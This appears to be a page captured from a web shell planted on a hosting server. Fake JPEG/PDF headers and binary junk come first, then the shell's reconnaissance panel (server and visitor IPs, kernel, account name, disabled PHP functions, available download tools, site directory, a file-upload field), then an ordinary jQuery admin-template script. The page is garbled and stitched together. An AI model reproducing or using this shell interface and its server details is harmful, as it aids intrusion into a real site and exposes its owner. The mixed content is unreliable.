ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 82.197.83.129 / Your IP : 216.73.216.166 [ Web Server : LiteSpeed System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u489457460 ( 489457460) PHP Version : 7.3.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u489457460/domains/syoft.com/public_html/blogs/admin_css/js/ |
Upload File : |
(function($) { "use strict"; // ______________ Cover-image $(".cover-image").each(function() { var attr = $(this).attr('data-image-src'); if (typeof attr !== typeof undefined && attr !== false) { $(this).css('background', 'url(' + attr + ') center center'); } }); // ______________ Global Loader $(window).on("load", function(e) { $("#global-loader").fadeOut("slow"); }) // ______________ Color-skin $(document).ready(function() { $("a[data-theme]").click(function() { $("head link#theme").attr("href", $(this).data("theme")); $(this).toggleClass('active').siblings().removeClass('active'); }); $("a[data-effect]").click(function() { $("head link#effect").attr("href", $(this).data("effect")); $(this).toggleClass('active').siblings().removeClass('active'); }); }); // ______________ Modal $("#myModal").modal('show'); // ______________Rating Stars var ratingOptions = { selectors: { starsSelector: '.rating-stars', starSelector: '.rating-star', starActiveClass: 'is--active', starHoverClass: 'is--hover', starNoHoverClass: 'is--no-hover', targetFormElementSelector: '.rating-value' } }; $(".rating-stars").ratingStars(ratingOptions); // ______________mCustomScrollbar $(".vscroll").mCustomScrollbar(); $(".nav-sidebar").mCustomScrollbar({ theme: "minimal", autoHideScrollbar: true, scrollbarPosition: "outside" }); // ______________Active Class $(document).ready(function() { $(".horizontalMenu-list li a").each(function() { var pageUrl = window.location.href.split(/[?#]/)[0]; if (this.href == pageUrl) { $(this).addClass("active"); $(this).parent().addClass("active"); // add active to li of the current link $(this).parent().parent().prev().addClass("active"); // add active class to an anchor $(this).parent().parent().prev().click(); // click the item to make it drop } }); }); // ______________ Back to Top $(window).on("scroll", function(e) { if ($(this).scrollTop() > 0) { $('#back-to-top').fadeIn('slow'); } else { $('#back-to-top').fadeOut('slow'); } }); $("#back-to-top").on("click", function(e) { $("html, body").animate({ scrollTop: 0 }, 600); return false; }); // ______________Chart-circle if ($('.chart-circle').length) { $('.chart-circle').each(function() { let $this = $(this); $this.circleProgress({ fill: { color: $this.attr('data-color') }, size: $this.height(), startAngle: -Math.PI / 4 * 2, emptyFill: '#f9faff', lineCap: '' }); }); } const DIV_CARD = 'div.card'; // ______________Tooltip $('[data-toggle="tooltip"]').tooltip(); // ______________Popover $('[data-toggle="popover"]').popover({ html: true }); // ______________Card Remove $('[data-toggle="card-remove"]').on('click', function(e) { let $card = $(this).closest(DIV_CARD); $card.remove(); e.preventDefault(); return false; }); // ______________Card Collapse $('[data-toggle="card-collapse"]').on('click', function(e) { let $card = $(this).closest(DIV_CARD); $card.toggleClass('card-collapsed'); e.preventDefault(); return false; }); // ______________Card Full Screen $('[data-toggle="card-fullscreen"]').on('click', function(e) { let $card = $(this).closest(DIV_CARD); $card.toggleClass('card-fullscreen').removeClass('card-collapsed'); e.preventDefault(); return false; }); //Increment & Decrement var quantitiy=0; $('.quantity-right-plus').on('click', function(e){ e.preventDefault(); var quantity = parseInt($('.quantity').val()); $('.quantity').val(quantity + 1); }); $('.quantity-left-minus').on('click', function(e){ e.preventDefault(); var quantity = parseInt($('.quantity').val()); if(quantity>0){ $('.quantity').val(quantity - 1); } }); // ______________Quantity-right-plus var quantitiy = 0; $('.quantity-right-plus').on('click', function(e) { e.preventDefault(); var quantity = parseInt($('#quantity').val()); $('#quantity').val(quantity + 1); }); $('.quantity-left-minus').on('click', function(e) { e.preventDefault(); var quantity = parseInt($('#quantity').val()); if (quantity > 0) { $('#quantity').val(quantity - 1); } }); /*Header Styles*/ $('#myonoffswitch').click(function () { if (this.checked) { $('body').addClass('light-header'); $('body').removeClass('dark-header'); localStorage.setItem("light-header", "True"); } else { $('body').removeClass('light-header'); localStorage.setItem("llight-header", "false"); } }); $('#myonoffswitch1').click(function () { if (this.checked) { $('body').addClass('dark-header'); $('body').removeClass('light-header'); localStorage.setItem("dark-header", "True"); } else { $('body').removeClass('dark-header'); localStorage.setItem("dark-header", "false"); } }); })(jQuery);